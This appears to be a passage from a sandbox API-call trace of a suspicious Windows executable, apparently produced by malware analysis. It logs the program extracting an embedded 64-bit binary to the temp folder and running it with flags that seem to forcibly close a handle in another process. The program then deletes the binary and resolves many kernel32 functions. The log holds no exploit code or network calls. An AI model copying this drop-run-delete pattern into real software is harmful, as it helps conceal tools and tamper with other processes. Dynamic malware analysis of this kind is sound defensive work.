¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0080.144] GetLastError () returned 0x0 [0080.144] SetLastError (dwErrCode=0x0) [0080.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0080.144] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0080.144] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0080.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿS\nÚùäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0080.144] GetLastError () returned 0x0 [0080.144] SetLastError (dwErrCode=0x0) [0080.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0080.144] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0080.144] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0080.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿS\nÚùäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0080.144] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x80) returned 0x618250 [0080.144] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0080.144] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0080.145] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x618250) returned 0x80 [0080.145] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0080.145] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0080.145] GetCurrentProcess () returned 0xffffffff [0080.145] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0080.145] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0080.145] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0080.145] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0080.145] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0080.145] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0080.145] LockResource (hResData=0x43c648) returned 0x43c648 [0080.145] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x18) returned 0x6182d8 [0080.146] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0080.146] GetFileType (hFile=0x90) returned 0x1 [0080.147] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0080.151] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x1000) returned 0x619820 [0080.151] WriteFile (in: hFile=0x90, lpBuffer=0x619820*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x619820*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0080.151] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x619820 | out: hHeap=0x600000) returned 1 [0080.151] CloseHandle (hObject=0x90) returned 1 [0080.151] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner" [0080.151] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xc94, dwThreadId=0xc98)) returned 1 [0080.423] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0082.675] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0082.676] CloseHandle (hObject=0x94) returned 1 [0082.676] CloseHandle (hObject=0x90) returned 1 [0082.676] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x617820 | out: hHeap=0x600000) returned 1 [0082.676] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0082.677] ExitProcess (uExitCode=0x0) [0082.677] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x6160c8 | out: hHeap=0x600000) returned 1 Process: id = "146" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x7be95000" os_pid = "0xc84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "142" os_parent_pid = "0xc60" cmd_line = "bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 694 os_tid = 0xc88 [0080.108] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0080.108] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0080.108] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0080.108] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0080.108] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0080.108] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0080.108] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0080.108] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0080.109] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0080.110] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0080.111] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0080.112] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0080.113] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0080.114] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0080.114] GetProcAddress 